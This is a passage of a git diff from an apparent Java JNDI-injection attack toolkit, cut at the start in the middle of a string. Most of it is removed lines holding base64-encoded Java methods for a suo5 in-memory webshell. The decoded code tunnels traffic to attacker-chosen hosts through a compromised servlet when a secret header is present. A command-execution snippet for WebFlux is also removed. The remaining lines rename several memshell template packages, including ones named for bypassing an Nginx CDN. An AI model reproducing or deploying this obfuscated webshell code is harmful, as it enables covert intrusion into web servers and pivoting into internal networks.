lID0gbnVsbDsKCQkJCQkJfQoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; - - public static class SUO5 { - - // suo5 newCreate 方法 - public static String SUO5_NEW_CREATE = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3Q3JlYXRlKGJ5dGUgcykgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDR9KTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117c30pOwoJCXJldHVybiBtOwoJfQ=="; - - // suo5 newData 方法 - public static String SUO5_NEW_DATA = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGF0YShieXRlW10gZGF0YSkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDF9KTsKCQltLnB1dCgiZHQiLCBkYXRhKTsKCQlyZXR1cm4gbTsKCX0="; - - // suo5 newDel 方法 - public static String SUO5_NEW_DEL = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGVsKCkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDJ9KTsKCQlyZXR1cm4gbTsKCX0="; - - // suo5 setStream 方法,需要 Field gInStream,gOutStream - public static String SUO5_SET_STREAM = "cHJpdmF0ZSB2b2lkIHNldFN0cmVhbShqYXZhLmlvLklucHV0U3RyZWFtIGluLCBqYXZhLmlvLk91dHB1dFN0cmVhbSBvdXQpIHsKCQlnSW5TdHJlYW0gPSBpbjsKCQlnT3V0U3RyZWFtID0gb3V0OwoJfQ=="; - - // suo5 newStatus 方法 - public static String SUO5_NEW_STATUS = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3U3RhdHVzKGJ5dGUgYikgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117Yn0pOwoJCXJldHVybiBtOwoJfQo="; - - // suo5 u32toBytes 方法 - public static String SUO5_U32_TO_BYTES = "Ynl0ZVtdIHUzMnRvQnl0ZXMoaW50IGkpIHsKCQlieXRlW10gcmVzdWx0ID0gbmV3IGJ5dGVbNF07CgkJcmVzdWx0WzBdID0gKGJ5dGUpIChpID4+IDI0KTsKCQlyZXN1bHRbMV0gPSAoYnl0ZSkgKGkgPj4gMTYpOwoJCXJlc3VsdFsyXSA9IChieXRlKSAoaSA+PiA4KTsKCQlyZXN1bHRbM10gPSAoYnl0ZSkgKGkgLyo+PiAwKi8pOwoJCXJldHVybiByZXN1bHQ7Cgl9"; - - // suo5 bytesToU32 方法 - public static String SUO5_BYTES_TO_U32 = "aW50IGJ5dGVzVG9VMzIoYnl0ZVtdIGJ5dGVzKSB7CgkJcmV0dXJuICgoYnl0ZXNbMF0gJiAweEZGKSA8PCAyNCkgfAoJCQkJKChieXRlc1sxXSAmIDB4RkYpIDw8IDE2KSB8CgkJCQkoKGJ5dGVzWzJdICYgMHhGRikgPDwgOCkgfAoJCQkJKChieXRlc1szXSAmIDB4RkYpKTsKCX0="; - - // suo5 marshal 方法,需要 u32toBytes - public static String SUO5_MARSHAL = "cHJpdmF0ZSBieXRlW10gbWFyc2hhbChqYXZhLnV0aWwuSGFzaE1hcCBtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYnVmID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJT2JqZWN0W10ga2V5U2V0ID0gbS5rZXlTZXQoKS50b0FycmF5KCk7CgkJCgkJZm9yIChpbnQgaSA9IDA7IGkgPCBrZXlTZXQubGVuZ3RoOyBpKyspIHsKCQkJU3RyaW5nIGtleSA9IGtleVNldFtpXS50b1N0cmluZygpOwoJCQlieXRlW10gdmFsdWUgPSAoYnl0ZVtdKW0uZ2V0KGtleSk7CgkJCWJ1Zi53cml0ZSgoYnl0ZSkga2V5Lmxlbmd0aCgpKTsKCQkJYnVmLndyaXRlKGtleS5nZXRCeXRlcygpKTsKCQkJYnVmLndyaXRlKHUzMnRvQnl0ZXMoKHZhbHVlKS5sZW5ndGgpKTsKCQkJYnVmLndyaXRlKHZhbHVlKTsKCQl9CgkJCgkJYnl0ZVtdICAgICAgICAgICAgICBkYXRhID0gYnVmLnRvQnl0ZUFycmF5KCk7CgkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBkYnVmID0gamF2YS5uaW8uQnl0ZUJ1ZmZlci5hbGxvY2F0ZSg1ICsgZGF0YS5sZW5ndGgpOwoJCWRidWYucHV0SW50KGRhdGEubGVuZ3RoKTsKCQlieXRlIGtleSA9IGRhdGFbZGF0YS5sZW5ndGggLyAyXTsKCQlkYnVmLnB1dChrZXkpOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgZGF0YS5sZW5ndGg7IGkrKykgewoJCX0KCQlkYnVmLnB1dChkYXRhKTsKCQlyZXR1cm4gZGJ1Zi5hcnJheSgpOwoJfQ=="; - - // suo5 unmarshal 方法,需要 bytesToU32 - public static String SUO5_UNMARSHAL = "cHJpdmF0ZSBqYXZhLnV0aWwuSGFzaE1hcCB1bm1hcnNoYWwoamF2YS5pby5JbnB1dFN0cmVhbSBpbikgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWphdmEuaW8uRGF0YUlucHV0U3RyZWFtIHJlYWRlciA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShpbik7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgaGVhZGVyID0gbmV3IGJ5dGVbNCArIDFdOwoJCXJlYWRlci5yZWFkRnVsbHkoaGVhZGVyKTsKCQlqYXZhLm5pby5CeXRlQnVmZmVyIGJiICA9IGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChoZWFkZXIpOwoJCWludCAgICAgICAgICAgICAgICAgbGVuID0gYmIuZ2V0SW50KCk7CgkJaW50ICAgICAgICAgICAgICAgICB4ICAgPSBiYi5nZXQoKTsKCQlpZiAobGVuID4gMTAyNCAqIDEwMjQgKiAzMikgewoJCQl0aHJvdyBuZXcgamF2YS5pby5JT0V4Y2VwdGlvbigiaW52YWxpZCBsZW4iKTsKCQl9CgkJYnl0ZVtdIGJzID0gbmV3IGJ5dGVbbGVuXTsKCQlyZWFkZXIucmVhZEZ1bGx5KGJzKTsKCQlmb3IgKGludCBpID0gMDsgaSA8IGJzLmxlbmd0aDsgaSsrKSB7CgkJCWJzW2ldID0gKGJ5dGUpIChic1tpXSBeIHgpOwoJCX0KCQlqYXZhLnV0aWwuSGFzaE1hcCBtID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgYnVmOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgYnMubGVuZ3RoIC0gMTsgKSB7CgkJCXNob3J0IGtMZW4gPSBic1tpXTsKCQkJaSArPSAxOwoJCQlpZiAoaSArIGtMZW4gPj0gYnMubGVuZ3RoKSB7CgkJCQl0aHJvdyBuZXcgamF2YS5sYW5nLkV4Y2VwdGlvbigia2V5IGxlbiBlcnJvciIpOwoJCQl9CgkJCWlmIChrTGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oImtleSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsga0xlbik7CgkJCVN0cmluZyBrZXkgPSBuZXcgU3RyaW5nKGJ1Zik7CgkJCWkgKz0ga0xlbjsKCgkJCWlmIChpICsgNCA+PSBicy5sZW5ndGgpIHsKCQkJCXRocm93IG5ldyBqYXZhLmxhbmcuRXhjZXB0aW9uKCJ2YWx1ZSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsgNCk7CgkJCWludCB2TGVuID0gYnl0ZXNUb1UzMihidWYpOwoJCQlpICs9IDQ7CgkJCWlmICh2TGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCgkJCWlmIChpICsgdkxlbiA+IGJzLmxlbmd0aCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCQkJYnl0ZVtdIHZhbHVlID0gamF2YS51dGlsLkFycmF5cy5jb3B5T2ZSYW5nZShicywgaSwgaSArIHZMZW4pOwoJCQlpICs9IHZMZW47CgoJCQltLnB1dChrZXksIHZhbHVlKTsKCQl9CgkJcmV0dXJuIG07Cgl9"; - - // suo5 readSocket 方法,需要 marshal newData - public static String SUO5_READ_SOCKET = "cHJpdmF0ZSB2b2lkIHJlYWRTb2NrZXQoamF2YS5pby5JbnB1dFN0cmVhbSBpbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0cHV0U3RyZWFtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJYnl0ZVtdIHJlYWRCdWYgPSBuZXcgYnl0ZVsxMDI0ICogOF07CgoJCXdoaWxlICh0cnVlKSB7CgkJCWludCBuID0gaW5wdXRTdHJlYW0ucmVhZChyZWFkQnVmKTsKCQkJaWYgKG4gPD0gMCkgewoJCQkJYnJlYWs7CgkJCX0KCQkJYnl0ZVtdIGRhdGFUbXAgICA9IGphdmEudXRpbC5BcnJheXMuY29weU9mUmFuZ2UocmVhZEJ1ZiwgMCwgbik7CgkJCWJ5dGVbXSBmaW5hbERhdGEgPSBtYXJzaGFsKG5ld0RhdGEoZGF0YVRtcCkpOwoJCQlvdXRwdXRTdHJlYW0ud3JpdGUoZmluYWxEYXRhKTsKCQkJb3V0cHV0U3RyZWFtLmZsdXNoKCk7CgkJfQoJfQ=="; - - // suo5 readInputStreamWithTimeout 方法 - public static String SUO5_READ_INPUT_STREAM_WITH_TIMEOUT = "cHVibGljIHZvaWQgcmVhZElucHV0U3RyZWFtV2l0aFRpbWVvdXQoamF2YS5pby5JbnB1dFN0cmVhbSBpcywgYnl0ZVtdIGIsIGludCB0aW1lb3V0TWlsbGlzKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiwgamF2YS5sYW5nLkludGVycnVwdGVkRXhjZXB0aW9uIHsKCQlpbnQgIGJ1ZmZlck9mZnNldCAgPSAwOwoJCWxvbmcgbWF4VGltZU1pbGxpcyA9IG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSArIHRpbWVvdXRNaWxsaXM7CgkJd2hpbGUgKG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSA8IG1heFRpbWVNaWxsaXMgJiYgYnVmZmVyT2Zmc2V0IDwgYi5sZW5ndGgpIHsKCQkJaW50IHJlYWRMZW5ndGggPSBiLmxlbmd0aCAtIGJ1ZmZlck9mZnNldDsKCQkJaWYgKGlzLmF2YWlsYWJsZSgpIDwgcmVhZExlbmd0aCkgewoJCQkJcmVhZExlbmd0aCA9IGlzLmF2YWlsYWJsZSgpOwoJCQl9CgkJCWludCByZWFkUmVzdWx0ID0gaXMucmVhZChiLCBidWZmZXJPZmZzZXQsIHJlYWRMZW5ndGgpOwoJCQlpZiAocmVhZFJlc3VsdCA9PSAtMSkgYnJlYWs7CgkJCWJ1ZmZlck9mZnNldCArPSByZWFkUmVzdWx0OwoJCQlqYXZhLmxhbmcuVGhyZWFkLnNsZWVwKDIwMEwpOwoJCX0KCX0="; - - public static String CMD_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIHNiLmFwcGVuZChleGVjQ21kKHRoaXMuQ09NTUFORCkpOwp9"; - - // suo5 tryFullDuplex 方法,需要 readInputStreamWithTimeout 方法 - public static String SUO5_TRY_FULL_DUPLEX = "CXB1YmxpYyB2b2lkIHRyeUZ1bGxEdXBsZXgoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSkgdGhyb3dzIGphdmEuaW8uSU9FeGNlcHRpb24sIGphdmEubGFuZy5JbnRlcnJ1cHRlZEV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSBpbiAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWJ5dGVbXSAgICAgICAgICAgICAgZGF0YSA9IG5ldyBieXRlWzMyXTsKCQlyZWFkSW5wdXRTdHJlYW1XaXRoVGltZW91dChpbiwgZGF0YSwgMjAwMCk7CgkJamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0ID0gcmVzcG9uc2UuZ2V0T3V0cHV0U3RyZWFtKCk7CgkJb3V0LndyaXRlKGRhdGEpOwoJfQ=="; - - // suo5 readReq 方法,需要 unmarshal 方法 - public static String SUO5_READ_REQ = "CXByaXZhdGUgdm9pZCByZWFkUmVxKGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbSBidWZJbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gc29ja2V0T3V0U3RyZWFtKSB0aHJvd3MgamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJd2hpbGUgKHRydWUpIHsKCQkJamF2YS51dGlsLkhhc2hNYXAgZGF0YU1hcCA9IHVubWFyc2hhbChidWZJbnB1dFN0cmVhbSk7CgkJCWJ5dGVbXSBhY3Rpb24gPSAoYnl0ZVtdKSBkYXRhTWFwLmdldCgiYWMiKTsKCQkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSkgewoJCQkJcmV0dXJuOwoKCQkJfQoJCX0KCX0="; - - // suo5 processDataUnary 方法,需要 unmarshal,marshal,readSocket,newStatus,newDel - public static String SUO5_PROCESS_DATA_UNARY = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhVW5hcnkoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwKSB0aHJvd3MKCQkJamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSAgICAgICAgICBpcyAgICAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWphdmF4LnNlcnZsZXQuU2VydmxldENvbnRleHQgY3R4ICAgICA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpLmdldFNlcnZsZXRDb250ZXh0KCk7CgkJamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtICByZWFkZXIgID0gbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbShpcyk7CgkJamF2YS51dGlsLkhhc2hNYXAgICAgICAgICAgICBkYXRhTWFwID0gdW5tYXJzaGFsKHJlYWRlcik7CgoJCVN0cmluZyBjbGllbnRJZCA9IG5ldyBTdHJpbmcoKGJ5dGVbXSkgZGF0YU1hcC5nZXQoImlkIikpOwoJCWJ5dGVbXSBhY3Rpb24gICA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJhYyIpOwoJCWlmIChhY3Rpb24ubGVuZ3RoICE9IDEpIHsKCQkJcmVzcC5zZXRTdGF0dXMoNDAzKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRCdWZmZXJTaXplKDggKiAxMDI0KTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSByZXNwT3V0U3RyZWFtID0gcmVzcC5nZXRPdXRwdXRTdHJlYW0oKTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSBzY091dFN0cmVhbTsKCQlpZiAoYWN0aW9uWzBdID09IDB4MDIpIHsKCQkJc2NPdXRTdHJlYW0gPSAoamF2YS5pby5PdXRwdXRTdHJlYW0pIGN0eC5nZXRBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCQlpZiAoc2NPdXRTdHJlYW0gIT0gbnVsbCkgewoJCQkJc2NPdXRTdHJlYW0uY2xvc2UoKTsKCQkJfQoJCQlyZXR1cm47CgkJfSBlbHNlIGlmIChhY3Rpb25bMF0gPT0gMHgwMSkgewoJCQlzY091dFN0cmVhbSA9IChqYXZhLmlvLk91dHB1dFN0cmVhbSkgY3R4LmdldEF0dHJpYnV0ZShjbGllbnRJZCk7CgkJCWlmIChzY091dFN0cmVhbSA9PSBudWxsKSB7CgkJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3RGVsKCkpKTsKCQkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJCXJldHVybjsKCQkJfQoJCQlieXRlW10gZGF0YSA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJkdCIpOwoJCQlpZiAoZGF0YS5sZW5ndGggIT0gMCkgewoJCQkJc2NPdXRTdHJlYW0ud3JpdGUoZGF0YSk7CgkJCQlzY091dFN0cmVhbS5mbHVzaCgpOwoJCQl9CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRIZWFkZXIoIlgtQWNjZWwtQnVmZmVyaW5nIiwgIm5vIik7CgkJU3RyaW5nICAgICAgICAgIGhvc3QgPSBuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJwIikpKTsKCQlqYXZhLm5ldC5Tb2NrZXQgc2M7CgkJdHJ5IHsKCQkJc2MgPSBuZXcgamF2YS5uZXQuU29ja2V0KCk7CgkJCXNjLmNvbm5lY3QobmV3IGphdmEubmV0LkluZXRTb2NrZXRBZGRyZXNzKGhvc3QsIHBvcnQpLCA1MDAwKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAxKSkpOwoJCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQljdHguc2V0QXR0cmlidXRlKGNsaWVudElkLCBzY091dFN0cmVhbSk7CgkJcmVzcE91dFN0cmVhbS53cml0ZShtYXJzaGFsKG5ld1N0YXR1cygoYnl0ZSkgMHgwMCkpKTsKCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgoJCWphdmEuaW8uSW5wdXRTdHJlYW0gc2NJblN0cmVhbSA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9IGZpbmFsbHkgewoJCQlzYy5jbG9zZSgpOwoJCQlyZXNwT3V0U3RyZWFtLmNsb3NlKCk7CgkJCWN0eC5yZW1vdmVBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCX0KCX0="; - - // suo5 processDataBio 方法,需要 unmarshal,readReq,newStatus,marshal,setStream 方法 - public static String SUO5_PROCESS_DATA_BIO = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhQmlvKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgcmVxdWVzdCwgamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcCkgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWZpbmFsIGphdmEuaW8uSW5wdXRTdHJlYW0gICAgICAgICByZXFJbnB1dFN0cmVhbSA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0gcmVxUmVhZGVyICAgICAgPSBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKHJlcUlucHV0U3RyZWFtKTsKCQlqYXZhLnV0aWwuSGFzaE1hcCAgICAgICAgICAgICAgICAgZGF0YU1hcCAgICAgICAgPSB1bm1hcnNoYWwocmVxUmVhZGVyKTsKCgkJYnl0ZVtdIGFjdGlvbiA9IChieXRlW10pZGF0YU1hcC5nZXQoImFjIik7CgkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSB8fCBhY3Rpb25bMF0gIT0gMHgwMCkgewoJCQlyZXNwLnNldFN0YXR1cyg0MDMpOwoJCQlyZXR1cm47CgkJfQoJCXJlc3Auc2V0QnVmZmVyU2l6ZSg4ICogMTAyNCk7CgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gcmVzcE91dFN0cmVhbSA9IHJlc3AuZ2V0T3V0cHV0U3RyZWFtKCk7CgoJCS8vIDB4MDAgY3JlYXRlIHNvY2tldAoJCXJlc3Auc2V0SGVhZGVyKCJYLUFjY2VsLUJ1ZmZlcmluZyIsICJubyIpOwoJCVN0cmluZyAgICAgICAgICBob3N0ID0gbmV3IFN0cmluZygoYnl0ZVtdKWRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pZGF0YU1hcC5nZXQoInAiKSkpOwoJCWphdmEubmV0LlNvY2tldCBzYzsKCQl0cnkgewoJCQlzYyA9IG5ldyBqYXZhLm5ldC5Tb2NrZXQoKTsKCQkJc2MuY29ubmVjdChuZXcgamF2YS5uZXQuSW5ldFNvY2tldEFkZHJlc3MoaG9zdCwgcG9ydCksIDUwMDApOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXJlc3BPdXRTdHJlYW0ud3JpdGUobWFyc2hhbChuZXdTdGF0dXMoKGJ5dGUpIDB4MDEpKSk7CgkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlyZXR1cm47CgkJfQoKCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAwKSkpOwoJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLklucHV0U3RyZWFtICBzY0luU3RyZWFtICA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCWphdmEubGFuZy5UaHJlYWQgdCA9IG51bGw7CgkJdHJ5IHsKCQkJdGhpcy5zZXRTdHJlYW0oc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJCXQgPSBuZXcgamF2YS5sYW5nLlRocmVhZCgoamF2YS5sYW5nLlJ1bm5hYmxlKSB0aGlzKTsKCQkJdC5zdGFydCgpOwoJCQlyZWFkUmVxKHJlcVJlYWRlciwgc2NPdXRTdHJlYW0pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfSBmaW5hbGx5IHsKCQkJc2MuY2xvc2UoKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlpZiAodCAhPSBudWxsKSB7CgkJCQl0LmpvaW4oKTsKCQkJfQoJCX0KCX0="; - - // suo 关键方法,需要 Field HEADER_KEY HEADER_VALUE,需要 processDataUnary processDataBio 方法 - public static String SUO5 = "ewoJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICAgICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsKCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOwoJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIgICAgICAgPSByZXF1ZXN0LmdldEhlYWRlcihIRUFERVJfS0VZKTsKCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudFR5cGUgPSByZXF1ZXN0LmdldEhlYWRlcigiQ29udGVudC1UeXBlIik7CgoJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgaGVhZGVyLmVxdWFscyhIRUFERVJfVkFMVUUpKSB7CgkJCQlpZiAoY29udGVudFR5cGUgPT0gbnVsbCkgewoJCQkJCXJldHVybjsKCQkJCX0KCQkJCXRyeSB7CgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vcGxhaW4iKSkgewoJCQkJCQl0cnlGdWxsRHVwbGV4KHJlcXVlc3QsIHJlc3BvbnNlKTsKCQkJCQkJcmV0dXJuOwoJCQkJCX0KCgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikpIHsKCQkJCQkJcHJvY2Vzc0RhdGFCaW8ocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXByb2Nlc3NEYXRhVW5hcnkocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9"; - - // run 方法,需要 readSocket 方法,需要 Field gInStream,gOutStream - public static String RUN = "cHVibGljIHZvaWQgcnVuKCkgewoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoZ0luU3RyZWFtLCBnT3V0U3RyZWFtKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; - } -} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/cmsMSBYNC.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/cmsMSBYNC.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.java index 8c7de061..f5ecc401 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/cmsMSBYNC.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.BypassNginxCDN; +package com.qi4l.jndi.template.memshellStatic.BypassNginxCDN; import org.apache.tomcat.util.codec.binary.Base64; import org.apache.tomcat.util.security.ConcurrentMessageDigest; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.java index 1d31b1bd..eb482d90 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.BypassNginxCDN; +package com.qi4l.jndi.template.memshellStatic.BypassNginxCDN; import org.apache.catalina.connector.RequestFacade; import org.apache.tomcat.util.codec.binary.Base64; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/RMIBindTemplate.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/RMIBindTemplate.java similarity index 96% rename from src/main/java/com/qi4l/jndi/template/memshell/RMIBindTemplate.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/RMIBindTemplate.java index 3cd2b853..a665c918 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/RMIBindTemplate.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/RMIBindTemplate.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell; +package com.qi4l.jndi.template.memshellStatic; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJproxy.java 